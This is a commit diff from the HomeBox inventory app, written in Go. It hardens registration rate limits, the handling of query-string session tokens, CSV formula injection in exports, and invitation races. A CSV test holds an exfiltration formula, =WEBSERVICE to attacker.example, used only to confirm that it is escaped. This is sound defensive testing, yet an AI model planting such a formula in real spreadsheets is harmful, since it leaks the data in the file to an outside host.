A continuation of HomeBox the inventory and organization system built for the Home User
fix: various issues
Matthew Kilgore8e053093993b
diff --git a/backend/app/api/app.go b/backend/app/api/app.goindex df07d775..743eec8f 100644--- a/backend/app/api/app.go+++ b/backend/app/api/app.go@@ -21,6 +21,7 @@ type app struct {bus *eventbus.EventBusauthLimiter *authRateLimiternotifierTestLimiter *simpleRateLimiter+ registerLimiter *simpleRateLimiterotel *otel.Provider}@@ -39,6 +40,9 @@ func new(conf *config.Config) *app {s.authLimiter = newAuthRateLimiter(s.conf.Auth.RateLimit)s.notifierTestLimiter = newSimpleRateLimiter(10, time.Minute, s.conf.Options.TrustProxy) // 10 requests per minute+ // Registration succeeds with a fresh email each time, so the failure-based+ // authLimiter never trips on it; cap every attempt instead.+ s.registerLimiter = newSimpleRateLimiter(5, time.Minute, s.conf.Options.TrustProxy) // 5 requests per minutereturn s}diff --git a/backend/app/api/middleware.go b/backend/app/api/middleware.goindex 95eea38f..9eee2742 100644--- a/backend/app/api/middleware.go+++ b/backend/app/api/middleware.go@@ -15,6 +15,7 @@ import (v1 "github.com/sysadminsmedia/homebox/backend/app/api/handlers/v1""github.com/sysadminsmedia/homebox/backend/internal/core/services""github.com/sysadminsmedia/homebox/backend/internal/data/ent"+ "github.com/sysadminsmedia/homebox/backend/internal/data/ent/authroles""github.com/sysadminsmedia/homebox/backend/internal/sys/config""github.com/sysadminsmedia/homebox/backend/internal/sys/validate""github.com/sysadminsmedia/homebox/backend/pkgs/hasher"@@ -46,6 +47,21 @@ type tokenHasKey struct {var hashedToken = tokenHasKey{key: "hashedToken"}+// allowQuerySessionToken marks routes that may receive a full session token via+// the access_token query parameter. See mwAllowQuerySessionToken.+var allowQuerySessionToken = tokenHasKey{key: "allowQuerySessionToken"}++// mwAllowQuerySessionToken lets mwAuthToken accept a session token from the+// access_token query parameter on this route. Use it only for WebSocket+// upgrades: browsers cannot set an Authorization header on a WebSocket, and+// non-cookie clients (and clients older than the Sec-WebSocket-Protocol auth)+// rely on the query parameter. It must run before mwAuthToken.+func (a *app) mwAllowQuerySessionToken(next errchain.Handler) errchain.Handler {+ return errchain.HandlerFunc(func(w http.ResponseWriter, r *http.Request) error {+ return next.ServeHTTP(w, r.WithContext(context.WithValue(r.Context(), allowQuerySessionToken, true)))+ })+}+type RoleMode intconst (@@ -169,11 +185,14 @@ func getWebSocketProtocolToken(r *http.Request) (string, error) {// mwAuthToken is a middleware that will check the database for a stateful token// and attach it's user to the request context, or return an appropriate error.-// Authorization support is by token via Headers or Query Parameter+// Authorization support is by token via Headers or Query Parameter. The query+// parameter only accepts attachment-scoped tokens; session tokens are rejected+// unless the route opts in with mwAllowQuerySessionToken, and API keys are+// never accepted that way.//// Example:// - header = "Bearer 1234567890"-// - query = "?access_token=1234567890"+// - query = "?access_token=<attachment token>"func (a *app) mwAuthToken(next errchain.Handler) errchain.Handler {return errchain.HandlerFunc(func(w http.ResponseWriter, r *http.Request) error {spanCtx, span := mwTracer().Start(r.Context(), "middleware.mwAuthToken",@@ -240,6 +259,24 @@ func (a *app) mwAuthToken(next errchain.Handler) errchain.Handler {return err}+ // Query-string tokens end up in browser history, proxy logs, and shared+ // links, so they are only accepted for the attachment-scoped token the+ // frontend embeds in <img>/download URLs. Full session tokens must be+ // sent via cookie or the Authorization header, except on routes that+ // opt in with mwAllowQuerySessionToken (WebSocket upgrades).+ if err == nil && tokenSource == "query" && r.Context().Value(allowQuerySessionToken) == nil {+ roles, rolesErr := a.repos.AuthTokens.GetRoles(r.Context(), requestToken)+ if rolesErr != nil {+ recordMwSpanError(span, rolesErr)+ span.SetAttributes(attribute.String("auth.outcome", "lookup_error"))+ return rolesErr+ }+ if roles.Contains(authroles.RoleUser.String()) {+ span.SetAttributes(attribute.String("auth.outcome", "session_token_in_query"))+ return validate.NewRequestError(errors.New("session tokens are not accepted in the query string"), http.StatusUnauthorized)+ }+ }+isAPIKey := falseif err != nil {// Session-token lookup missed. API keys are only accepted via the@@ -534,6 +571,17 @@ func (a *app) mwAuthRateLimit(next errchain.Handler) errchain.Handler {})}+// mwRegisterRateLimit caps registration attempts per client, successful or not.+// Each registration runs a full Argon2id hash and creates a user and group, so+// unlike login it must be throttled even when every request succeeds. It is+// turned off together with the other auth limits via auth.rate_limit.enabled.+func (a *app) mwRegisterRateLimit(next errchain.Handler) errchain.Handler {+ if a.registerLimiter == nil || !a.conf.Auth.RateLimit.Enabled {+ return next+ }+ return a.registerLimiter.middleware(next)+}+// shouldAllow checks if the client should be allowed to authenticate based on the configured rate limit.func (l *authRateLimiter) shouldAllow(key string, now time.Time) (time.Duration, bool) {l.mu.Lock()diff --git a/backend/app/api/middleware_auth_test.go b/backend/app/api/middleware_auth_test.gonew file mode 100644index 00000000..0f9f5712--- /dev/null+++ b/backend/app/api/middleware_auth_test.go@@ -0,0 +1,100 @@+package main++import (+ "context"+ "net/http"+ "net/http/httptest"+ "net/url"+ "os"+ "testing"++ "github.com/google/uuid"+ "github.com/hay-kot/httpkit/errchain"+ "github.com/stretchr/testify/assert"+ "github.com/stretchr/testify/require"+ "github.com/sysadminsmedia/homebox/backend/internal/core/services"+ "github.com/sysadminsmedia/homebox/backend/internal/core/services/reporting/eventbus"+ "github.com/sysadminsmedia/homebox/backend/internal/data/ent"+ "github.com/sysadminsmedia/homebox/backend/internal/data/repo"+ "github.com/sysadminsmedia/homebox/backend/internal/sys/config"+ "github.com/sysadminsmedia/homebox/backend/internal/sys/validate"+ _ "github.com/sysadminsmedia/homebox/backend/pkgs/cgofreesqlite"+ "github.com/sysadminsmedia/homebox/backend/pkgs/hasher"+)++func newAuthTestApp(t *testing.T) (*app, services.UserAuthTokenDetail) {+ t.Helper()+ ctx := context.Background()++ client, err := ent.Open("sqlite3", "file:"+uuid.NewString()+"?mode=memory&cache=shared&_fk=1&_time_format=sqlite")+ require.NoError(t, err)+ t.Cleanup(func() { _ = client.Close() })+ require.NoError(t, client.Schema.Create(ctx))++ repos := repo.New(client, eventbus.New(), config.Storage{+ PrefixPath: "/",+ ConnString: "file://" + os.TempDir(),+ }, "mem://{{ .Topic }}", config.Thumbnail{}, nil)++ group, err := repos.Groups.GroupCreate(ctx, "auth-test", uuid.Nil)+ require.NoError(t, err)++ const email, password = "[email protected]", "correct horse battery staple"+ hash, err := hasher.HashPassword(password)+ require.NoError(t, err)+ _, err = repos.Users.Create(ctx, repo.UserCreate{+ Name: "Auth Test",+ Email: email,+ Password: &hash,+ DefaultGroupID: group.ID,+ })+ require.NoError(t, err)++ svc := services.New(repos)+ tokens, err := svc.User.Login(ctx, email, password, false)+ require.NoError(t, err)+ require.NotEmpty(t, tokens.Raw)+ require.NotEmpty(t, tokens.AttachmentToken)++ return &app{conf: &config.Config{}, repos: repos, services: svc}, tokens+}++func TestAuthTokenQueryStringOnlyAcceptsAttachmentTokens(t *testing.T) {+ a, tokens := newAuthTestApp(t)++ h := a.mwAuthToken(errchain.HandlerFunc(func(http.ResponseWriter, *http.Request) error {+ return nil+ }))++ serve := func(setup func(*http.Request)) error {+ req := httptest.NewRequest(http.MethodGet, "/api/v1/entities/x/attachments/y", nil)+ setup(req)+ return h.ServeHTTP(httptest.NewRecorder(), req)+ }+ withQuery := func(token string) func(*http.Request) {+ return func(r *http.Request) { r.URL.RawQuery = "access_token=" + url.QueryEscape(token) }+ }++ t.Run("SessionTokenInQueryRejected", func(t *testing.T) {+ err := serve(withQuery(tokens.Raw))+ var reqErr *validate.RequestError+ require.ErrorAs(t, err, &reqErr)+ assert.Equal(t, http.StatusUnauthorized, reqErr.Status)+ })++ t.Run("AttachmentTokenInQueryAccepted", func(t *testing.T) {+ assert.NoError(t, serve(withQuery(tokens.AttachmentToken)))+ })++ t.Run("SessionTokenInQueryAcceptedOnWebSocketRoute", func(t *testing.T) {+ ws := a.mwAllowQuerySessionToken(h)+ req := httptest.NewRequest(http.MethodGet, "/api/v1/ws/events?access_token="+url.QueryEscape(tokens.Raw), nil)+ assert.NoError(t, ws.ServeHTTP(httptest.NewRecorder(), req))+ })++ t.Run("SessionTokenInHeaderAccepted", func(t *testing.T) {+ assert.NoError(t, serve(func(r *http.Request) {+ r.Header.Set("Authorization", "Bearer "+tokens.Raw)+ }))+ })+}diff --git a/backend/app/api/middleware_ratelimit_test.go b/backend/app/api/middleware_ratelimit_test.goindex 0f7733c4..8a5dbe7f 100644--- a/backend/app/api/middleware_ratelimit_test.go+++ b/backend/app/api/middleware_ratelimit_test.go@@ -1,13 +1,16 @@package mainimport (+ "errors""net/http""net/http/httptest""sync/atomic""testing""time"+ "github.com/hay-kot/httpkit/errchain""github.com/sysadminsmedia/homebox/backend/internal/sys/config"+ "github.com/sysadminsmedia/homebox/backend/internal/sys/validate")const (@@ -471,3 +474,62 @@ func TestAuthRateLimiterStop(t *testing.T) {// Verify the cleanup goroutine exits (this test passes if no panic occurs)time.Sleep(10 * time.Millisecond)}++func TestRegisterRateLimitCountsSuccesses(t *testing.T) {+ newApp := func(enabled bool) *app {+ a := &app{+ conf: &config.Config{Auth: config.AuthConfig{RateLimit: config.AuthRateLimit{Enabled: enabled}}},+ registerLimiter: newSimpleRateLimiter(5, time.Minute, false),+ }+ t.Cleanup(a.registerLimiter.Stop)+ return a+ }++ var calls atomic.Int32+ ok := errchain.HandlerFunc(func(http.ResponseWriter, *http.Request) error {+ calls.Add(1)+ return nil+ })++ serve := func(h errchain.Handler, ip string) error {+ req := httptest.NewRequest(http.MethodPost, "/api/v1/users/register", nil)+ req.RemoteAddr = ip + ":1234"+ return h.ServeHTTP(httptest.NewRecorder(), req)+ }++ t.Run("Enabled", func(t *testing.T) {+ calls.Store(0)+ h := newApp(true).mwRegisterRateLimit(ok)++ // Every attempt succeeds, yet the 6th must still be throttled.+ for i := 0; i < 5; i++ {+ if err := serve(h, testClientIPAddress); err != nil {+ t.Fatalf("request %d should be allowed: %v", i+1, err)+ }+ }++ err := serve(h, testClientIPAddress)+ var reqErr *validate.RequestError+ if !errors.As(err, &reqErr) || reqErr.Status != http.StatusTooManyRequests {+ t.Fatalf("6th request should be rejected with 429, got %v", err)+ }+ if got := calls.Load(); got != 5 {+ t.Fatalf("handler should run 5 times, ran %d", got)+ }++ if err := serve(h, "192.168.1.2"); err != nil {+ t.Fatalf("different client should be allowed: %v", err)+ }+ })++ t.Run("DisabledByConfig", func(t *testing.T) {+ calls.Store(0)+ h := newApp(false).mwRegisterRateLimit(ok)++ for i := 0; i < 10; i++ {+ if err := serve(h, testClientIPAddress); err != nil {+ t.Fatalf("request %d should be allowed when rate limiting is disabled: %v", i+1, err)+ }+ }+ })+}diff --git a/backend/app/api/routes.go b/backend/app/api/routes.goindex 6d8266a0..ecc57856 100644--- a/backend/app/api/routes.go+++ b/backend/app/api/routes.go@@ -104,7 +104,7 @@ func (a *app) mountRoutes(r *chi.Mux, chain *errchain.ErrChain, repos *repo.AllRproviders.NewLocalProvider(a.services.User),}- r.Post("/users/register", chain.ToHandlerFunc(v1Ctrl.HandleUserRegistration()))+ r.Post("/users/register", chain.ToHandlerFunc(v1Ctrl.HandleUserRegistration(), a.mwRegisterRateLimit))r.Post("/users/login", chain.ToHandlerFunc(v1Ctrl.HandleAuthLogin(providers...), a.mwAuthRateLimit))r.Post("/users/forgot-password", chain.ToHandlerFunc(v1Ctrl.HandleForgotPassword(), a.mwAuthRateLimit))r.Post("/users/reset-password", chain.ToHandlerFunc(v1Ctrl.HandleResetPassword(), a.mwAuthRateLimit))@@ -131,7 +131,7 @@ func (a *app) mountRoutes(r *chi.Mux, chain *errchain.ErrChain, repos *repo.AllRa.mwGroupOwner,}- r.Get("/ws/events", chain.ToHandlerFunc(v1Ctrl.HandleCacheWS(), userMW...))+ r.Get("/ws/events", chain.ToHandlerFunc(v1Ctrl.HandleCacheWS(), append([]errchain.Middleware{a.mwAllowQuerySessionToken}, userMW...)...))// User management endpointsr.Get("/users/self", chain.ToHandlerFunc(v1Ctrl.HandleUserSelf(), userMW...))diff --git a/backend/internal/core/services/reporting/bill_of_materials.go b/backend/internal/core/services/reporting/bill_of_materials.goindex 050559e5..8606007a 100644--- a/backend/internal/core/services/reporting/bill_of_materials.go+++ b/backend/internal/core/services/reporting/bill_of_materials.go@@ -27,11 +27,11 @@ func BillOfMaterialsCSV(entities []repo.EntityOut) ([]byte, error) {return gocsv.MarshalBytes(new(lo.Map(entities, func(entity repo.EntityOut, _ int) BillOfMaterialsEntry {return BillOfMaterialsEntry{PurchaseDate: entity.PurchaseDate,- Name: entity.Name,- Description: entity.Description,- Manufacturer: entity.Manufacturer,- SerialNumber: entity.SerialNumber,- ModelNumber: entity.ModelNumber,+ Name: neutralizeCSVCell(entity.Name),+ Description: neutralizeCSVCell(entity.Description),+ Manufacturer: neutralizeCSVCell(entity.Manufacturer),+ SerialNumber: neutralizeCSVCell(entity.SerialNumber),+ ModelNumber: neutralizeCSVCell(entity.ModelNumber),Quantity: entity.Quantity,Price: entity.PurchasePrice,TotalPrice: entity.PurchasePrice * entity.Quantity,diff --git a/backend/internal/core/services/reporting/csv_formula.go b/backend/internal/core/services/reporting/csv_formula.gonew file mode 100644index 00000000..16805146--- /dev/null+++ b/backend/internal/core/services/reporting/csv_formula.go@@ -0,0 +1,36 @@+package reporting++import "strings"++// Spreadsheet applications (Excel, LibreOffice, Google Sheets) evaluate a cell+// as a formula when it starts with one of these characters. Exported values are+// user-controlled, so they are neutralized to prevent CSV/formula injection+// (CWE-1236). See https://owasp.org/www-community/attacks/CSV_Injection+const csvFormulaTriggers = "=+-@\t\r"++// csvNeedsNeutralizing reports whether s would be interpreted as a formula, or+// already looks like a neutralized value (any number of leading quotes before a+// trigger character), so that every value survives an export/import round trip.+func csvNeedsNeutralizing(s string) bool {+ s = strings.TrimLeft(s, "'")+ return s != "" && strings.IndexByte(csvFormulaTriggers, s[0]) >= 0+}++// neutralizeCSVCell prefixes a single quote to values that a spreadsheet would+// otherwise evaluate as a formula. Only use it on text cells; numeric cells+// such as negative prices must stay as-is.+func neutralizeCSVCell(s string) string {+ if csvNeedsNeutralizing(s) {+ return "'" + s+ }+ return s+}++// restoreCSVCell reverses neutralizeCSVCell so that exported files can be+// re-imported without gaining a leading quote.+func restoreCSVCell(s string) string {+ if len(s) > 1 && s[0] == '\'' && csvNeedsNeutralizing(s[1:]) {+ return s[1:]+ }+ return s+}diff --git a/backend/internal/core/services/reporting/csv_formula_test.go b/backend/internal/core/services/reporting/csv_formula_test.gonew file mode 100644index 00000000..99434a16--- /dev/null+++ b/backend/internal/core/services/reporting/csv_formula_test.go@@ -0,0 +1,147 @@+package reporting++import (+ "bytes"+ "encoding/csv"+ "reflect"+ "testing"++ "github.com/stretchr/testify/assert"+ "github.com/stretchr/testify/require"+ "github.com/sysadminsmedia/homebox/backend/internal/data/repo"+)++const webserviceFormula = `=WEBSERVICE("http://attacker.example/?d="&B2)`++func TestNeutralizeCSVCell(t *testing.T) {+ tests := []struct {+ in string+ want string+ }{+ {"", ""},+ {"Drill", "Drill"},+ {"a=b", "a=b"},+ {"=1+1", "'=1+1"},+ {"+1", "'+1"},+ {"-20°C Freezer", "'-20°C Freezer"},+ {"@SUM(A1)", "'@SUM(A1)"},+ {"\tcmd", "'\tcmd"},+ {"\rcmd", "'\rcmd"},+ {webserviceFormula, "'" + webserviceFormula},+ // Values that already look neutralized are escaped again so the+ // import side can tell them apart from our own prefix.+ {"'=1+1", "''=1+1"},+ {"''=1+1", "'''=1+1"},+ {"'plain", "'plain"},+ {"'", "'"},+ {"''", "''"},+ }++ for _, tt := range tests {+ assert.Equal(t, tt.want, neutralizeCSVCell(tt.in), "neutralize(%q)", tt.in)+ }+}++func TestRestoreCSVCell_RoundTrip(t *testing.T) {+ values := []string{+ "", "Drill", "'", "'plain", "''", "''plain", "=1+1", "'=1+1", "''=1+1", "'''-x",+ "-5", "+", "@", "\t", "-20°C Freezer", webserviceFormula,+ }++ for _, v := range values {+ assert.Equal(t, v, restoreCSVCell(neutralizeCSVCell(v)), "round trip %q", v)+ }+}++func TestSheet_ExportNeutralizesFormulasAndReimports(t *testing.T) {+ headers := []string{}+ st := reflect.TypeOf(ExportCSVRow{})+ for i := 0; i < st.NumField(); i++ {+ if tag := st.Field(i).Tag.Get("csv"); tag != "" && tag != "-" {+ headers = append(headers, primaryCSVTag(tag))+ }+ }+ headers = append(headers, "HB.field.Note")++ original := ExportCSVRow{+ Name: webserviceFormula,+ Description: "-20°C Freezer",+ SerialNumber: "@SUM(A1)",+ Location: LocationString{"=Garage", "Shelf"},+ TagStr: TagString{"+Tag"},+ Fields: []ExportItemFields{{Name: "Note", Value: "=HYPERLINK(\"x\")"}},+ AssetID: repo.AssetID(1),+ Quantity: 1,+ PurchasePrice: -5,+ }++ sheet := &IOSheet{headers: headers, Rows: []ExportCSVRow{original}}+ out, err := sheet.CSV()+ require.NoError(t, err)++ cell := func(header string) string {+ col, ok := sheet.GetColumn(header)+ require.True(t, ok, header)+ return out[1][col]+ }++ assert.Equal(t, "'"+webserviceFormula, cell("HB.name"))+ assert.Equal(t, "'-20°C Freezer", cell("HB.description"))+ assert.Equal(t, "'@SUM(A1)", cell("HB.serial_number"))+ assert.Equal(t, "'=Garage / Shelf", cell("HB.location"))+ assert.Equal(t, "'+Tag", cell("HB.tags"))+ assert.Equal(t, "'=HYPERLINK(\"x\")", cell("HB.field.Note"))+ assert.Equal(t, "-5", cell("HB.purchase_price"), "numeric cells must not be escaped")++ var buf bytes.Buffer+ require.NoError(t, csv.NewWriter(&buf).WriteAll(out))++ imported := &IOSheet{}+ require.NoError(t, imported.Read(&buf))+ require.Len(t, imported.Rows, 1)++ got := imported.Rows[0]+ assert.Equal(t, original.Name, got.Name)+ assert.Equal(t, original.Description, got.Description)+ assert.Equal(t, original.SerialNumber, got.SerialNumber)+ assert.Equal(t, original.Location, got.Location)+ assert.Equal(t, original.TagStr, got.TagStr)+ assert.Equal(t, original.Fields, got.Fields)+ assert.InDelta(t, original.PurchasePrice, got.PurchasePrice, 0)+}++func TestBillOfMaterialsCSV_NeutralizesFormulas(t *testing.T) {+ out, err := BillOfMaterialsCSV([]repo.EntityOut{{+ EntitySummary: repo.EntitySummary{+ Name: webserviceFormula,+ Description: "+cmd",+ Quantity: 2,+ PurchasePrice: -5,+ },+ Manufacturer: "@vendor",+ SerialNumber: "-123",+ ModelNumber: "\tmodel",+ }})+ require.NoError(t, err)++ rows, err := csv.NewReader(bytes.NewReader(out)).ReadAll()+ require.NoError(t, err)+ require.Len(t, rows, 2)++ cell := func(header string) string {+ for i, h := range rows[0] {+ if h == header {+ return rows[1][i]+ }+ }+ t.Fatalf("missing column %q in %v", header, rows[0])+ return ""+ }++ assert.Equal(t, "'"+webserviceFormula, cell("Name"))+ assert.Equal(t, "'+cmd", cell("Description"))+ assert.Equal(t, "'@vendor", cell("Manufacturer"))+ assert.Equal(t, "'-123", cell("Serial Number"))+ assert.Equal(t, "'\tmodel", cell("Model Number"))+ assert.Equal(t, "-5", cell("Price"), "numeric cells must not be escaped")+}diff --git a/backend/internal/core/services/reporting/io_sheet.go b/backend/internal/core/services/reporting/io_sheet.goindex 0e2adacb..f25e0d52 100644--- a/backend/internal/core/services/reporting/io_sheet.go+++ b/backend/internal/core/services/reporting/io_sheet.go@@ -147,7 +147,7 @@ func (s *IOSheet) Read(data io.Reader) error {switch field.Type {case reflect.TypeOf(""):- v = val+ v = restoreCSVCell(val)case reflect.TypeOf(int(0)):v = parseInt(val)case reflect.TypeOf(bool(false)):@@ -161,9 +161,9 @@ func (s *IOSheet) Read(data io.Reader) error {case reflect.TypeOf(repo.AssetID(0)):v, _ = repo.ParseAssetID(val)case reflect.TypeOf(LocationString{}):- v = parseLocationString(val)+ v = parseLocationString(restoreCSVCell(val))case reflect.TypeOf(TagString{}):- v = parseTagString(val)+ v = parseTagString(restoreCSVCell(val))}log.Debug().@@ -183,7 +183,7 @@ func (s *IOSheet) Read(data io.Reader) error {for _, col := range s.custom {colName := strings.TrimPrefix(s.headers[col], "HB.field.")- customVal := row[col]+ customVal := restoreCSVCell(row[col])if customVal == "" {continue}@@ -355,7 +355,7 @@ func (s *IOSheet) CSV() ([][]string, error) {switch field.Type {case reflect.TypeOf(""):- v = val.String()+ v = neutralizeCSVCell(val.String())case reflect.TypeOf(int(0)):v = strconv.Itoa(int(val.Int()))case reflect.TypeOf(bool(false)):@@ -369,9 +369,9 @@ func (s *IOSheet) CSV() ([][]string, error) {case reflect.TypeOf(repo.AssetID(0)):v = val.Interface().(repo.AssetID).String()case reflect.TypeOf(LocationString{}):- v = val.Interface().(LocationString).String()+ v = neutralizeCSVCell(val.Interface().(LocationString).String())case reflect.TypeOf(TagString{}):- v = val.Interface().(TagString).String()+ v = neutralizeCSVCell(val.Interface().(TagString).String())default:log.Debug().Str("type", field.Type.String()).Msg("unknown type")}@@ -385,7 +385,7 @@ func (s *IOSheet) CSV() ([][]string, error) {continue}- memcsv[i+1][col] = f.Value+ memcsv[i+1][col] = neutralizeCSVCell(f.Value)}}diff --git a/backend/internal/core/services/service_user.go b/backend/internal/core/services/service_user.goindex 2bfbe28a..0b9d6225 100644--- a/backend/internal/core/services/service_user.go+++ b/backend/internal/core/services/service_user.go@@ -190,9 +190,32 @@ func (svc *UserService) RegisterUser(ctx context.Context, data UserRegistration,IsOwner: creatingGroup,}+ // Claim an invitation use before the user and membership are committed. The+ // guarded decrement is atomic, so concurrent registrations racing on the same+ // token can't all pass the Uses check above and oversubscribe it; losers fail+ // here without creating anything. The use is handed back if creation fails.+ if token.ID != uuid.Nil {+ decCtx, decSpan := entityServiceTracer().Start(ctx, "service.UserService.RegisterUser.decrementInvitation")+ log.Debug().Msg("decrementing invitation token")+ err = svc.repos.Groups.InvitationDecrement(decCtx, token.ID)+ if err != nil {+ recordServiceSpanError(decSpan, err)+ decSpan.End()+ recordServiceSpanError(span, err)+ log.Err(err).Msg("Failed to update invitation token")+ return repo.UserOut{}, err+ }+ decSpan.End()+ }+usr, err := svc.repos.Users.Create(ctx, usrCreate)if err != nil {recordServiceSpanError(span, err)+ if token.ID != uuid.Nil {+ if refundErr := svc.repos.Groups.InvitationRefund(context.WithoutCancel(ctx), token.ID); refundErr != nil {+ log.Err(refundErr).Msg("Failed to refund invitation token use")+ }+ }return repo.UserOut{}, err}span.SetAttributes(attribute.String("user.id", usr.ID.String()))@@ -244,21 +267,6 @@ func (svc *UserService) RegisterUser(ctx context.Context, data UserRegistration,bootstrapSpan.End()}- // Decrement the invitation token if it was used.- if token.ID != uuid.Nil {- decCtx, decSpan := entityServiceTracer().Start(ctx, "service.UserService.RegisterUser.decrementInvitation")- log.Debug().Msg("decrementing invitation token")- err = svc.repos.Groups.InvitationDecrement(decCtx, token.ID)- if err != nil {- recordServiceSpanError(decSpan, err)- decSpan.End()- recordServiceSpanError(span, err)- log.Err(err).Msg("Failed to update invitation token")- return repo.UserOut{}, err- }- decSpan.End()- }-return usr, nil}diff --git a/backend/internal/core/services/service_user_invitation_test.go b/backend/internal/core/services/service_user_invitation_test.gonew file mode 100644index 00000000..3b36b305--- /dev/null+++ b/backend/internal/core/services/service_user_invitation_test.go@@ -0,0 +1,119 @@+package services++import (+ "context"+ "sync"+ "testing"+ "time"++ "github.com/google/uuid"+ "github.com/stretchr/testify/assert"+ "github.com/stretchr/testify/require"+ "github.com/sysadminsmedia/homebox/backend/internal/data/ent/usergroup"+ "github.com/sysadminsmedia/homebox/backend/internal/data/repo"+ "github.com/sysadminsmedia/homebox/backend/pkgs/hasher"+)++// newInvitation creates a fresh group with an invitation of the given uses and+// returns the group ID, invitation ID and raw token.+func newInvitation(t *testing.T, uses int) (uuid.UUID, uuid.UUID, string) {+ t.Helper()+ ctx := context.Background()++ g, err := tRepos.Groups.GroupCreate(ctx, "invite-"+fk.Str(8), uuid.Nil)+ require.NoError(t, err)++ raw := hasher.GenerateToken()+ inv, err := tRepos.Groups.InvitationCreate(ctx, g.ID, repo.GroupInvitationCreate{+ Token: raw.Hash,+ ExpiresAt: time.Now().Add(time.Hour),+ Uses: uses,+ })+ require.NoError(t, err)++ return g.ID, inv.ID, raw.Raw+}++func memberCount(t *testing.T, gid uuid.UUID) int {+ t.Helper()+ n, err := tClient.UserGroup.Query().Where(usergroup.GroupID(gid)).Count(context.Background())+ require.NoError(t, err)+ return n+}++func TestRegisterUser_InvitationNotOversubscribedByConcurrentRegistrations(t *testing.T) {+ gid, invID, token := newInvitation(t, 1)++ const racers = 6+ var (+ wg sync.WaitGroup+ mu sync.Mutex+ successes int+ )+ start := make(chan struct{})+ for i := 0; i < racers; i++ {+ wg.Add(1)+ go func() {+ defer wg.Done()+ <-start+ _, err := tSvc.User.RegisterUser(context.Background(), UserRegistration{+ GroupToken: token,+ Name: fk.Str(10),+ Email: fk.Email(),+ Password: fk.Str(16),+ })+ if err == nil {+ mu.Lock()+ successes+++ mu.Unlock()+ }+ }()+ }+ close(start)+ wg.Wait()++ assert.Equal(t, 1, successes, "a uses=1 invitation must admit exactly one registration")+ assert.Equal(t, 1, memberCount(t, gid), "only one membership may be created")++ invs, err := tRepos.Groups.InvitationGetAll(context.Background(), gid)+ require.NoError(t, err)+ for _, inv := range invs {+ if inv.ID == invID {+ assert.Equal(t, 0, inv.Uses)+ }+ }+}++func TestRegisterUser_FailedRegistrationRefundsInvitationUse(t *testing.T) {+ gid, invID, token := newInvitation(t, 1)++ // tUser's email already exists, so user creation fails after the use is claimed.+ _, err := tSvc.User.RegisterUser(context.Background(), UserRegistration{+ GroupToken: token,+ Name: fk.Str(10),+ Email: tUser.Email,+ Password: fk.Str(16),+ })+ require.Error(t, err)++ invs, err := tRepos.Groups.InvitationGetAll(context.Background(), gid)+ require.NoError(t, err)+ found := false+ for _, inv := range invs {+ if inv.ID == invID {+ found = true+ assert.Equal(t, 1, inv.Uses, "the claimed use must be refunded when registration fails")+ }+ }+ require.True(t, found)++ // The refunded use is still redeemable.+ _, err = tSvc.User.RegisterUser(context.Background(), UserRegistration{+ GroupToken: token,+ Name: fk.Str(10),+ Email: fk.Email(),+ Password: fk.Str(16),+ })+ require.NoError(t, err)+ assert.Equal(t, 1, memberCount(t, gid))+}diff --git a/backend/internal/data/repo/repo_entity_location_test.go b/backend/internal/data/repo/repo_entity_location_test.goindex 03e8c61a..805f7de3 100644--- a/backend/internal/data/repo/repo_entity_location_test.go+++ b/backend/internal/data/repo/repo_entity_location_test.go@@ -11,6 +11,12 @@ import ("github.com/sysadminsmedia/homebox/backend/internal/sys/validate")+// Entity names shared across the location fixtures below.+const (+ testParentName = "Parent"+ testChildName = "Child"+)+// locationFixture gives each test its own group with two locations, so tests// don't see each other's tree.type locationFixture struct {@@ -56,7 +62,7 @@ func TestEntityLocation_ChildKeepsOwnLocation(t *testing.T) {// 1. Parent in the Attic.parent, err := tRepos.Entities.Create(ctx, f.gid, EntityCreate{- Name: "Parent",+ Name: testParentName,EntityTypeID: f.itemType,ParentID: f.attic.ID,})@@ -66,7 +72,7 @@ func TestEntityLocation_ChildKeepsOwnLocation(t *testing.T) {// 2. Child in the Basement.child, err := tRepos.Entities.Create(ctx, f.gid, EntityCreate{- Name: "Child",+ Name: testChildName,EntityTypeID: f.itemType,ParentID: f.basement.ID,})@@ -75,7 +81,7 @@ func TestEntityLocation_ChildKeepsOwnLocation(t *testing.T) {// 4. Make Parent the parent of Child, while keeping Child in the Basement.updated, err := tRepos.Entities.UpdateByGroup(ctx, f.gid, EntityUpdate{ID: child.ID,- Name: "Child",+ Name: testChildName,Quantity: 1,ParentID: parent.ID,LocationID: f.basement.ID,@@ -108,12 +114,12 @@ func TestEntityLocation_InheritsWhenNoOverride(t *testing.T) {f := newLocationFixture(t, "loc-inherit-default")parent, err := tRepos.Entities.Create(ctx, f.gid, EntityCreate{- Name: "Parent", EntityTypeID: f.itemType, ParentID: f.attic.ID,+ Name: testParentName, EntityTypeID: f.itemType, ParentID: f.attic.ID,})require.NoError(t, err)child, err := tRepos.Entities.Create(ctx, f.gid, EntityCreate{- Name: "Child", EntityTypeID: f.itemType, ParentID: parent.ID,+ Name: testChildName, EntityTypeID: f.itemType, ParentID: parent.ID,})require.NoError(t, err)@@ -122,7 +128,7 @@ func TestEntityLocation_InheritsWhenNoOverride(t *testing.T) {// Moving the parent moves the inheriting child with it._, err = tRepos.Entities.UpdateByGroup(ctx, f.gid, EntityUpdate{- ID: parent.ID, Name: "Parent", Quantity: 1, ParentID: f.basement.ID,+ ID: parent.ID, Name: testParentName, Quantity: 1, ParentID: f.basement.ID,})require.NoError(t, err)@@ -190,7 +196,7 @@ func TestEntityLocation_RejectsNonLocationTarget(t *testing.T) {f := newLocationFixture(t, "loc-non-location-target")parent, err := tRepos.Entities.Create(ctx, f.gid, EntityCreate{- Name: "Parent", EntityTypeID: f.itemType, ParentID: f.attic.ID,+ Name: testParentName, EntityTypeID: f.itemType, ParentID: f.attic.ID,})require.NoError(t, err)other, err := tRepos.Entities.Create(ctx, f.gid, EntityCreate{@@ -199,7 +205,7 @@ func TestEntityLocation_RejectsNonLocationTarget(t *testing.T) {require.NoError(t, err)_, err = tRepos.Entities.Create(ctx, f.gid, EntityCreate{- Name: "Child", EntityTypeID: f.itemType,+ Name: testChildName, EntityTypeID: f.itemType,ParentID: parent.ID,LocationID: other.ID,})@@ -215,12 +221,12 @@ func TestEntityLocation_RejectsCrossGroupLocation(t *testing.T) {b := newLocationFixture(t, "loc-tenant-b")parent, err := tRepos.Entities.Create(ctx, a.gid, EntityCreate{- Name: "Parent", EntityTypeID: a.itemType, ParentID: a.attic.ID,+ Name: testParentName, EntityTypeID: a.itemType, ParentID: a.attic.ID,})require.NoError(t, err)_, err = tRepos.Entities.Create(ctx, a.gid, EntityCreate{- Name: "Child", 